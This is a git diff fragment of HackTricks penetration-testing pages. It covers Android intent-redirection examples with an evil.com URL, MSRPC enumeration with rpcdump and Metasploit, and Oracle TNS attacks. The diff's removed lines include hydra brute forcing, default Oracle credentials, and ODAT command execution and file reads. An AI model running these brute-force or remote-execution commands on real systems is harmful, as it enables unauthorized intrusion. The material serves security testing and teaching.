public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
||||
Uri uri = request.getUrl();
|
||||
if("intent".equals(uri.getScheme())) {
|
||||
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
|
||||
intent.addCategory("android.intent.category.BROWSABLE");
|
||||
intent.setComponent(null);
|
||||
startActivity(intent);
|
||||
return true;
|
||||
}
|
||||
return super.shouldOverrideUrlLoading(view, request);
|
||||
}
|
||||
```
|
||||
|
||||
The attacker can specify a non-exported component via a selector
|
||||
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
|
||||
intent.putExtra("url", "http://evil.com/");
|
||||
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
|
||||
```
|
||||
|
||||
And bypass the app’s protection against explicit intents. We therefore recommend filtering the selector as well
|
||||
|
||||
```java
|
||||
intent.addCategory("android.intent.category.BROWSABLE");
|
||||
intent.setComponent(null);
|
||||
intent.setSelector(null);
|
||||
```
|
||||
|
||||
But even complete filtering does not guarantee complete protection, because an attacker can create an implicit intent corresponding to the `intent-filter` of some non-exported activity. Example of an activity declaration:
|
||||
|
||||
```markup
|
||||
<activity android:name=".AuthWebViewActivity" android:exported="false">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.VIEW" />
|
||||
<category android:name="android.intent.category.DEFAULT" />
|
||||
<data android:scheme="victim" android:host="secure_handler" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
|
||||
```java
|
||||
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
|
||||
```
|
||||
|
||||
We therefore recommend checking that an activity is exported before it is launched.
|
||||
|
||||
## Other ways of creating insecure intents
|
||||
|
||||
Some app developers implement their **own intent parsers** (often to handle **deeplinks** or push messages), using e.g. **JSON** objects, strings or byte arrays, which either do not differ from the default or else present a great danger, because they may expand **`Serializable`** and `Parcelable` objects and they also allow insecure flags to be set. The security researcher may also encounter more exotic versions of intent creation, such as casting a byte array to a `Parcel` and then reading an intent from it
|
||||
|
||||
```java
|
||||
Uri deeplinkUri = getIntent().getData();
|
||||
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
|
||||
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
|
||||
Parcel parcel = Parcel.obtain();
|
||||
parcel.unmarshall(handle, 0, handle.length);
|
||||
startActivity((Intent) parcel.readParcelable(getClassLoader()));
|
||||
}
|
||||
```
|
||||
|
||||
# Vuln app
|
||||
|
||||
{% embed url="https://github.com/oversecured/ovaa" %}
|
||||
**Take a look to: [https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||
|
||||
|
||||
<details>
|
||||
|
|
|
@ -31,9 +31,9 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
## Basic Information
|
||||
|
||||
Microsoft Remote Procedure Call, also known as a function call or a subroutine call, is [a protocol](http://searchmicroservices.techtarget.com/definition/Remote-Procedure-Call-RPC) that uses the client-server model in order to allow one program to request service from a program on another computer without having to understand the details of that computer's network. MSRPC was originally derived from open source software but has been developed further and copyrighted by Microsoft.
|
||||
The Microsoft Remote Procedure Call (MSRPC) protocol, a client-server model enabling a program to request a service from a program located on another computer without understanding the network's specifics, was initially derived from open-source software and later developed and copyrighted by Microsoft.
|
||||
|
||||
Depending on the host configuration, the RPC endpoint mapper can be accessed through TCP and UDP port 135, via SMB with a null or authenticated session (TCP 139 and 445), and as a web service listening on TCP port 593.
|
||||
The RPC endpoint mapper can be accessed via TCP and UDP port 135, SMB on TCP 139 and 445 (with a null or authenticated session), and as a web service on TCP port 593.
|
||||
|
||||
```
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
|
@ -41,36 +41,24 @@ Depending on the host configuration, the RPC endpoint mapper can be accessed thr
|
|||
|
||||
## How does MSRPC work?
|
||||
|
||||
[The MSRPC process begins on the client side](https://technet.microsoft.com/en-us/library/cc738291.aspx), with the client application calling a local stub procedure instead of code implementing the procedure. The client stub code retrieves the required parameters from the client address space and delivers them to the client runtime library, which then translates the parameters into a standard Network Data Representation format to transmit to the server.
|
||||
Initiated by the client application, the MSRPC process involves calling a local stub procedure that then interacts with the client runtime library to prepare and transmit the request to the server. This includes converting parameters into a standard Network Data Representation format. The choice of transport protocol is determined by the runtime library if the server is remote, ensuring the RPC is delivered through the network stack.
|
||||
|
||||
The client stub then calls functions in the RPC client runtime library to send the request and parameters to the server. If the server is located remotely, the runtime library specifies an appropriate transport protocol and engine and passes the RPC to the network stack for transport to the server.\
|
||||
From here: [https://www.extrahop.com/resources/protocols/msrpc/](https://www.extrahop.com/resources/protocols/msrpc/)
|
||||
|
||||
![](<../.gitbook/assets/image (133).png>)
|
||||
|
||||
**Image From book "**_**Network Security Assesment 3rd Edition**_**"**
|
||||
![https://0xffsec.com/handbook/images/msrpc.png](https://0xffsec.com/handbook/images/msrpc.png)
|
||||
|
||||
## **Identifying Exposed RPC Services**
|
||||
|
||||
**Section extracted from book "**_**Network Security Assesment 3rd Edition**_**"**
|
||||
|
||||
You can query the RPC locator service and individual RPC endpoints to catalog interesting services running over TCP, UDP, HTTP, and SMB (via named pipes). Each IFID value gathered through this process denotes an RPC service (e.g., 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc is the Messenger interface).
|
||||
|
||||
Todd Sabin’s rpcdump and ifids Windows utilities query both the RPC locator and specific RPC endpoints to list IFID values. The rpcdump syntax is as follows:
|
||||
Exposure of RPC services across TCP, UDP, HTTP, and SMB can be determined by querying the RPC locator service and individual endpoints. Tools such as rpcdump facilitate the identification of unique RPC services, denoted by **IFID** values, revealing service details and communication bindings:
|
||||
|
||||
```
|
||||
D:\rpctools> rpcdump [-p port] 192.168.189.1
|
||||
IfId: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
|
||||
D:\rpctools> rpcdump [-p port] <IP>
|
||||
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
|
||||
Annotation: Messenger Service
|
||||
UUID: 00000000-0000-0000-0000-000000000000
|
||||
Binding: ncadg_ip_udp:192.168.189.1[1028]
|
||||
Binding: ncadg_ip_udp:<IP>[1028]
|
||||
```
|
||||
|
||||
You can access the RPC locator service by using four protocol sequences:
|
||||
|
||||
* ncacn\_ip\_tcp and ncadg\_ip\_udp (TCP and UDP port 135)
|
||||
* ncacn\_np (the \pipe\epmapper named pipe via SMB)
|
||||
* ncacn\_http (RPC over HTTP via TCP port 80, 593, and others)
|
||||
Access to the RPC locator service is enabled through specific protocols: ncacn\_ip\_tcp and ncadg\_ip\_udp for accessing via port 135, ncacn\_np for SMB connections, and ncacn\_http for web-based RPC communication. The following commands exemplify the utilization of Metasploit modules to audit and interact with MSRPC services, primarily focusing on port 135:
|
||||
|
||||
```bash
|
||||
use auxiliary/scanner/dcerpc/endpoint_mapper
|
||||
|
@ -80,20 +68,41 @@ use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
|
|||
rpcdump.py <IP> -p 135
|
||||
```
|
||||
|
||||
_Note that from the mentioned options all except of **`tcp_dcerpc_auditor`** can **only** be executed against **msrpc** in **port 135**._
|
||||
All options except `tcp_dcerpc_auditor` are specifically designed for targeting MSRPC on port 135.
|
||||
|
||||
#### Notable RPC interfaces
|
||||
|
||||
| **IFID value** | **Named pipe** | **Description** |
|
||||
| ------------------------------------ | -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 12345778-1234-abcd-ef00-0123456789ab | \pipe\lsarpc | LSA interface, used to enumerate users |
|
||||
| 3919286a-b10c-11d0-9ba8-00c04fd92ef5 | \pipe\lsarpc | LSA Directory Services (DS) interface, used to enumerate domains and trust relationships |
|
||||
| 12345778-1234-abcd-ef00-0123456789ac | \pipe\samr | LSA SAMR interface, used to access public SAM database elements (e.g., usernames) and brute-force user passwords regardless of account lockout policy [Oreilly library](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#idm139659172852688) |
|
||||
| 1ff70682-0a51-30e8-076d-740be8cee98b | \pipe\atsvc | Task scheduler, used to remotely execute commands |
|
||||
| 338cd001-2244-31f1-aaaa-900038001003 | \pipe\winreg | Remote registry service, used to access the system registry |
|
||||
| 367abb81-9844-35f1-ad32-98f038001003 | \pipe\svcctl | Service control manager and server services, used to remotely start and stop services and execute commands |
|
||||
| 4b324fc8-1670-01d3-1278-5a47bf6ee188 | \pipe\srvsvc | Service control manager and server services, used to remotely start and stop services and execute commands |
|
||||
| 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 | \pipe\epmapper | DCOM interface, supporting WMI |
|
||||
**IFID**: 12345778-1234-abcd-ef00-0123456789ab
|
||||
**Named Pipe**: \pipe\lsarpc
|
||||
**Description**: LSA interface, used to enumerate users.
|
||||
|
||||
**IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
|
||||
**Named Pipe**: \pipe\lsarpc
|
||||
**Description**: LSA Directory Services (DS) interface, used to enumerate domains and trust relationships.
|
||||
|
||||
**IFID**: 12345778-1234-abcd-ef00-0123456789ac
|
||||
**Named Pipe**: \pipe\samr
|
||||
**Description**: LSA SAMR interface, used to access public SAM database elements (e.g., usernames) and brute-force user passwords regardless of account lockout policy.
|
||||
|
||||
**IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
|
||||
**Named Pipe**: \pipe\atsvc
|
||||
**Description**: Task scheduler, used to remotely execute commands.
|
||||
|
||||
**IFID**: 338cd001-2244-31f1-aaaa-900038001003
|
||||
**Named Pipe**: \pipe\winreg
|
||||
**Description**: Remote registry service, used to access and modify the system registry.
|
||||
|
||||
**IFID**: 367abb81-9844-35f1-ad32-98f038001003
|
||||
**Named Pipe**: \pipe\svcctl
|
||||
**Description**: Service control manager and server services, used to remotely start and stop services and execute commands.
|
||||
|
||||
**IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188
|
||||
**Named Pipe**: \pipe\srvsvc
|
||||
**Description**: Service control manager and server services, used to remotely start and stop services and execute commands.
|
||||
|
||||
**IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
|
||||
**Named Pipe**: \pipe\epmapper
|
||||
**Description**: DCOM interface, used for brute-force password grinding and information gathering via WM.
|
||||
|
||||
### Identifying IP addresses
|
||||
|
||||
|
@ -101,16 +110,15 @@ Using [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDRes
|
|||
|
||||
This method has been used to get interface information as **IPv6** address from the HTB box _APT_. See [here](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) for 0xdf APT writeup, it includes an alternative method using rpcmap.py from [Impacket](https://github.com/SecureAuthCorp/impacket/) with _stringbinding_ (see above).
|
||||
|
||||
References:
|
||||
|
||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)
|
||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
||||
|
||||
## Port 593
|
||||
|
||||
The **rpcdump.exe** from [rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools) can interact with this port.
|
||||
|
||||
|
||||
## References
|
||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)
|
||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
||||
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -27,257 +27,22 @@ When enumerating Oracle the first step is to talk to the TNS-Listener that usual
|
|||
|
||||
## Summary
|
||||
|
||||
1. **Enumerate version** info (search for **known vulns**)
|
||||
2. **Bruteforce TNS listener** communication (not always needed)
|
||||
3. **Enumerate**/Bruteforce **SID names** (like database names)
|
||||
4. **Bruteforce credentials** for valid SID name discovered
|
||||
5. Try to **execute code**
|
||||
1. **Version Enumeration**: Identify version information to search for known vulnerabilities.
|
||||
2. **TNS Listener Bruteforce**: Sometimes necessary to establish communication.
|
||||
3. **SID Name Enumeration/Bruteforce**: Discover database names (SID).
|
||||
4. **Credential Bruteforce**: Attempt to access discovered SID.
|
||||
5. **Code Execution**: Attempt to run code on the system.
|
||||
|
||||
In order to user MSF oracle modules you need to install some dependencies: [**Installation**](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
## Enumeration
|
||||
## Posts
|
||||
|
||||
Tools that can be used for this are: nmap, MSF and [tnscmd10g](http://dokfleed.net/files/audit/tnscmd10g.zip).
|
||||
Check these posts:
|
||||
|
||||
### TNS listener version
|
||||
|
||||
```bash
|
||||
nmap --script "oracle-tns-version" -p 1521 -T4 -sV <IP>
|
||||
msf> use auxiliary/scanner/oracle/tnslsnr_version
|
||||
#apt install tnscmd10g
|
||||
tnscmd10g version -p 1521 -h <IP>
|
||||
```
|
||||
|
||||
Other useful TNS listener commands:
|
||||
|
||||
| **Command** | **Purpose** |
|
||||
| ------------ | --------------------------------------------------------------- |
|
||||
| ping | Ping the listener |
|
||||
| version | Provide output of the listener version and platform information |
|
||||
| status | Return the current status and variables used by the listener |
|
||||
| services | Dump service data |
|
||||
| debug | Dump debugging information to the listener log |
|
||||
| reload | Reload the listener configuration file |
|
||||
| save\_config | Write the listener configuration file to a backup location |
|
||||
| stop | Invoke listener shutdown |
|
||||
|
||||
If you **receive an error**, could be because **TNS versions are incompatible** (Use the `--10G` parameter with `tnscmd10`) and if the **error persist,** the listener may be **password protected** (you can see a list were all the [**errors are detailed here**](https://docs.oracle.com/database/121/ERRMG/TNS-00000.htm#ERRMG-GUID-D723D931-ECBA-4FA4-BF1B-1F4FE2EEBAD7)) — don't worry… hydra to the rescue\*\*:\*\*
|
||||
|
||||
```
|
||||
hydra -P rockyou.txt -t 32 -s 1521 host.victim oracle-listener
|
||||
```
|
||||
|
||||
The TNS listener could be vulnerable to **MitM** attacks. [Check here how to check if the server is vulnerable and how to perform the attack (all versions up to version 12c are)](tns-poison.md).
|
||||
|
||||
### SID enumeration
|
||||
|
||||
#### **What is a SID**
|
||||
|
||||
The SID (Service Identifier) is essentially the database name, depending on the install you may have one or more default SIDs, or even a totally custom dba defined SID.
|
||||
|
||||
**In some old versions (in 9 it works)** you could ask for the SID and the database send it to you:
|
||||
|
||||
```bash
|
||||
tnscmd10g status-p 1521 -h <IP> #The SID are inside: SERVICE=(SERVICE_NAME=<SID_NAME>)
|
||||
|
||||
#msf1
|
||||
msf> use auxiliary/scanner/oracle/sid_enum
|
||||
msf> set rhost <IP>
|
||||
msf> run
|
||||
#msf2
|
||||
msf> use auxiliary/admin/oracle/tnscmd
|
||||
msf> set CMD (CONNECT_DATA=(COMMAND=STATUS))
|
||||
msf> set rhost <IP>
|
||||
msf> run #The SID are inside: SERVICE=(SERVICE_NAME=<SID_NAME>)
|
||||
```
|
||||
|
||||
If you cant access this way to the SIDs you will need to bruteforce them:
|
||||
|
||||
**SID Bruteforce**
|
||||
|
||||
I have merged the nmap and MSF sid lists into this one (without duplicates):
|
||||
|
||||
{% file src="../../.gitbook/assets/sids-oracle.txt" %}
|
||||
|
||||
```bash
|
||||
hydra -L /usr/share/metasploit-framework/data/wordlists/sid.txt -s 1521 <IP> oracle-sid
|
||||
patator oracle_login host=<IP> sid=FILE0 0=sids-oracle.txt -x ignore:code=ORA-12505
|
||||
./odat.py sidguesser -s $SERVER -d $SID --sids-file=./sids.txt
|
||||
msf> use auxiliary/admin/oracle/sid_brute #This will use the list located at /usr/share/metasploit-framework/data/wordlists/sid.txt
|
||||
nmap --script +oracle-sid-brute -p 1521 10.11.1.202 #This will use the list lcated at /usr/share/nmap/nselib/data/oracle-sids
|
||||
```
|
||||
|
||||
In order to use **oracle\_login** with **patator** you need to **install**:
|
||||
|
||||
```
|
||||
pip3 install cx_Oracle --upgrade
|
||||
```
|
||||
|
||||
## **Targeting Accounts**
|
||||
|
||||
**Got SID?** Excellent, now let’s move to the next task and extract the user account information. From this point, you can connect to the listener and brute-force credentials.
|
||||
|
||||
**Metasploit** _\*\*scanner/oracle/oracle\_login_ It has a built-in dictionary for the **most popular default values of user account** information presented as login:password. By the way, such default entries represent one of the most popular and serious security problems in Oracle.
|
||||
|
||||
**Nmap** can also help here with the script _oracle-brute_. Note that this script **mixes the logins and passwords**, that is, it tries each login against every password, and it takes quite a while!
|
||||
|
||||
### **Default Passwords**
|
||||
|
||||
Below are some of the default passwords associated with Oracle:
|
||||
|
||||
* **DBSNMP/DBSNMP** — Intelligent Agent uses this to talk to the db server (its some work to change it)
|
||||
* **SYS/CHANGE\_ON\_INSTALL** — Default sysdba account before and including Oracle v9, as of version 10g this has to be different!
|
||||
* **PCMS\_SYS/PCMS\_SYS** — Default x account
|
||||
* **WMSYS/WMSYS** — Default x account
|
||||
* **OUTLN/OUTLN** — Default x account
|
||||
* **SCOTT/TIGER** — Default x account
|
||||
|
||||
Other **default passwords** can be found [here ](http://www.petefinnigan.com/default/oracle\_default\_passwords.htm)and [here](https://cirt.net/passwords?vendor=Oracle).
|
||||
|
||||
The versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3 are vulnerable to **offline brute force**. [**Read more about this technique here.**](remote-stealth-pass-brute-force.md)
|
||||
|
||||
### User/Pass bruteforce
|
||||
|
||||
Different tools offered **different user/pass lists** for oracle:
|
||||
|
||||
* **oscan:** _/usr/share/oscanner/accounts.default_ (169 lines)
|
||||
* **MSF-1:** _from_ admin/oracle/oracle\_login \_\_/usr/share/metasploit-framework/data/wordlists/oracle\_default\_passwords.csv (598 lines)
|
||||
* **MSF-2:** _from scanner/oracle/oracle\_login_ _/usr/share/metasploit-framework/data/wordlists/oracle\_default\_userpass.txt_ (568 lines)
|
||||
* **Nmap:** _/usr/share/nmap/nselib/data/oracle-default-accounts.lst_ (687 lines)
|
||||
|
||||
I have **mixed** all of them and **removed duplicates:**
|
||||
|
||||
{% file src="../../.gitbook/assets/users-oracle.txt" %}
|
||||
|
||||
{% file src="../../.gitbook/assets/pass-oracle.txt" %}
|
||||
|
||||
### [Brute Force](../../generic-methodologies-and-resources/brute-force.md#oraclesql)
|
||||
|
||||
Now, that you **know a valid SID and valid credentials**. To connect to the database you need the tool: _**sqlplus**_ and to install it you need to follow some steps:
|
||||
|
||||
[Installation](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
To login using known credentials:
|
||||
|
||||
```
|
||||
sqlplus <username>/<password>@<ip_address>/<SID>;
|
||||
```
|
||||
|
||||
If the TNS Listener is on a non-default port (e.g. TCP/1522) :
|
||||
|
||||
```
|
||||
sqlplus <username>/<password>@<ip_address>:<port>/<SID>;
|
||||
```
|
||||
|
||||
If an **account has system database priviledges (sysdba) or system operator (sysop)** you may wish to try the following:
|
||||
|
||||
```bash
|
||||
sqlplus <username>/<password>@<ip_address>/<SID> 'as sysdba';
|
||||
#Example:
|
||||
sqlplus SYSTEM/MANAGER@192.168.0.2/ORCL 'as sysdba'
|
||||
```
|
||||
|
||||
## **All in One**
|
||||
|
||||
**An interesting tool is oscanner**, which will try to get some valid SID and then it will brute-force for valid credentials and try to extract some information:
|
||||
|
||||
```bash
|
||||
#apt install oscanner
|
||||
oscanner -s <IP> -P <PORT>
|
||||
```
|
||||
|
||||
Another tool that will do all of this it [**odat**](https://github.com/quentinhardy/odat):
|
||||
|
||||
```bash
|
||||
git clone https://github.com/quentinhardy/odat.git
|
||||
cd odat
|
||||
./odat.py --help #It shouldn't be problems in Kali
|
||||
./odat.py all -s <IP> -p <PORT>
|
||||
./odat.py all -s <IP> -p <PORT> -d <SID> #To bruteforce accounts for that SID
|
||||
```
|
||||
|
||||
With these options (_-s_ and _-p_), ODAT will **search valid SID** (System ID) in a first step. You can configure some options for configuring methods (i.e. word-list or brute-force attack). By default, ODAT will use a big word list and it will do a small brute-force attack.
|
||||
|
||||
If ODAT **founds at least one SID** (e.g. _ORCL_), it will **search valid Oracle accounts**. It will do that on **each SID found**. You can specify some options for credentials (e.g. _--accounts-file_, _--accounts-files_, _--login-as-pwd_).
|
||||
|
||||
For **each valid account** (e.g. _SYS_) **on each valid instance** (SID), ODAT will return **what each Oracle user can do** (e.g. reverse shell, read files, become DBA).
|
||||
|
||||
[**Wiki odat**](https://github.com/quentinhardy/odat/wiki)
|
||||
|
||||
## Remote Code Execution
|
||||
|
||||
There are at least two different ways to execute commands, such as by using Java procedures and DBMS\_SCHEDULER package. By the way, you can also achieve RCE in case of SQL injection in a web application provided, of course, that the user running it has sufficient rights. At this stage, I highly recommend preparing the Oracle Database Attacking Tool: [ODAT](https://github.com/quentinhardy/odat).
|
||||
|
||||
### Install ODAT
|
||||
|
||||
```bash
|
||||
git clone https://github.com/quentinhardy/odat.git
|
||||
cd odat
|
||||
./odat.py #It shouldn't be problems in Kali
|
||||
```
|
||||
|
||||
### Execute Code via Java Stored Procedure
|
||||
|
||||
```bash
|
||||
./odat.py java -s <IP> -U <username> -P <password> -d <SID> --exec COMMAND
|
||||
```
|
||||
|
||||
[More details here](oracle-rce-and-more.md#rce-java-store-procedure)
|
||||
|
||||
### Execute code via Scheduler
|
||||
|
||||
```bash
|
||||
./odat.py dbmsscheduler -s <IP> -d <SID> -U <username> -P <password> --exec "C:\windows\system32\cmd.exe /c echo 123>>C:\hacK"
|
||||
```
|
||||
|
||||
[More details here](oracle-rce-and-more.md#rce-scheduler)
|
||||
|
||||
### Execute code via External Tables
|
||||
|
||||
```bash
|
||||
./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --exec "C:/windows/system32" "calc.exe"
|
||||
```
|
||||
|
||||
‘ODAT.py’ requires the privilege ‘CREATE ANY DIRECTORY’, which, by default, is granted only to DBA role, since it attempts to execute the file from any and not only “your” directory (the manual version of this attack requires less privileges).
|
||||
|
||||
[More details here.](oracle-rce-and-more.md#rce-external-tables)
|
||||
|
||||
## Read/Write files
|
||||
|
||||
```bash
|
||||
./odat.py utlfile -s <IP> -d <SID> -U <username> -P <password> --getFile "C:/test" token.txt token.txt
|
||||
./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --getFile "C:/test" "my4.txt" "my"
|
||||
```
|
||||
|
||||
[More details here](oracle-rce-and-more.md#read-write-files)
|
||||
|
||||
## Elevating Privileges
|
||||
|
||||
[More details here](oracle-rce-and-more.md#elevating-privileges)
|
||||
|
||||
You can use the [privesc ](https://github.com/quentinhardy/odat/wiki/privesc)module from odat to escalate privileges. In that link you can find **several ways to escalate privileges using odat.**
|
||||
|
||||
```bash
|
||||
./odat.py privesc -s $SERVER -d $ID -U $USER -P $PASSWORD -h #Get module Help
|
||||
```
|
||||
|
||||
Vulnerability tested on oracle 10.1.0.3.0 – should work on thru 10.1.0.5.0 and supposedly on 11g. Fixed with Oracle Critical Patch update October 2007.
|
||||
|
||||
```bash
|
||||
msf> use auxiliary/sqli/oracle/lt_findricset_cursor
|
||||
```
|
||||
|
||||
## Free Virtual Environment for testing
|
||||
|
||||
If you want to practice attacking Oracle databases, the safest way is to register for the Oracle Developer Days Virtualbox VM:
|
||||
|
||||
{% embed url="http://www.oracle.com/technetwork/database/enterprise-edition/databaseappdev-vm-161299.html" %}
|
||||
|
||||
Most part of the information in this post was extracted from: [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573) and from [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
|
||||
Other interesting **references**:
|
||||
|
||||
[http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
* [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
|
||||
* [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
|
||||
* [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
* [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
|
||||
|
|
|
@ -1,103 +0,0 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Installation of tools (sqlplus) and needed libraries to use the oracle MSF modules
|
||||
|
||||
_(This installation guide was created for version 12.1.0.1.0, change that name for the version that you download)_
|
||||
|
||||
As root, create the directory `/opt/oracle`. Then download the [Oracle Instant Client](http://www.oracle.com/technetwork/database/features/instant-client/index-097480.html) packages for your version of Kali Linux. The packages you will need are:
|
||||
|
||||
* instantclient-basic-linux-12.1.0.1.0.zip
|
||||
* instantclient-sqlplus-linux-12.1.0.1.0.zip
|
||||
* instantclient-sdk-linux-12.1.0.1.0.zip
|
||||
|
||||
Unzip these under `/opt/oracle`, and you should now have a path called `/opt/oracle/instantclient_12_1/`. Next symlink the shared library that we need to access the library from oracle:
|
||||
|
||||
```
|
||||
# ln libclntsh.so.12.1 libclntsh.so
|
||||
# ls -lh libclntsh.so
|
||||
lrwxrwxrwx 1 root root 17 Jun 1 15:41 libclntsh.so -> libclntsh.so.12.1
|
||||
# ldconfig
|
||||
```
|
||||
|
||||
You also need to configure the appropriate environment variables, add the following to either
|
||||
|
||||
* \~/.bashrc
|
||||
* /etc/profile
|
||||
|
||||
```
|
||||
export PATH=$PATH:/opt/oracle/instantclient_12_1
|
||||
export SQLPATH=/opt/oracle/instantclient_12_1
|
||||
export TNS_ADMIN=/opt/oracle/instantclient_12_1
|
||||
export LD_LIBRARY_PATH=/opt/oracle/instantclient_12_1
|
||||
export ORACLE_HOME=/opt/oracle/instantclient_12_1
|
||||
```
|
||||
|
||||
Add Oracle libraries to ldconfig:
|
||||
|
||||
```
|
||||
echo "/opt/oracle/instantclient_12_1/" >> /etc/ld.so.conf.d/99_oracle
|
||||
```
|
||||
|
||||
If you have succeeded, you should be able to run `sqlplus` from a command prompt **(you may need to log out and log back in again)**:
|
||||
|
||||
```
|
||||
sqlplus <username>/<password>@<ip_address>/<SID>;
|
||||
```
|
||||
|
||||
## **Step Two — Install Ruby Gem ruby-oci8**
|
||||
|
||||
_These steps are needed to use metasploit oracle modules_
|
||||
|
||||
**Install other OS dependencies:**
|
||||
|
||||
```
|
||||
apt-get install libgmp-dev
|
||||
```
|
||||
|
||||
**Compile and install ruby-oci8 (root)**
|
||||
|
||||
```
|
||||
wget https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.1.8.zip
|
||||
unzip ruby-oci8-2.1.8.zip
|
||||
cd ruby-oci8-ruby-oci8-2.1.8/
|
||||
```
|
||||
|
||||
```
|
||||
make
|
||||
make install
|
||||
gem install ruby-oci8
|
||||
```
|
||||
|
||||
Restart msfconsole (or restart the computer).
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
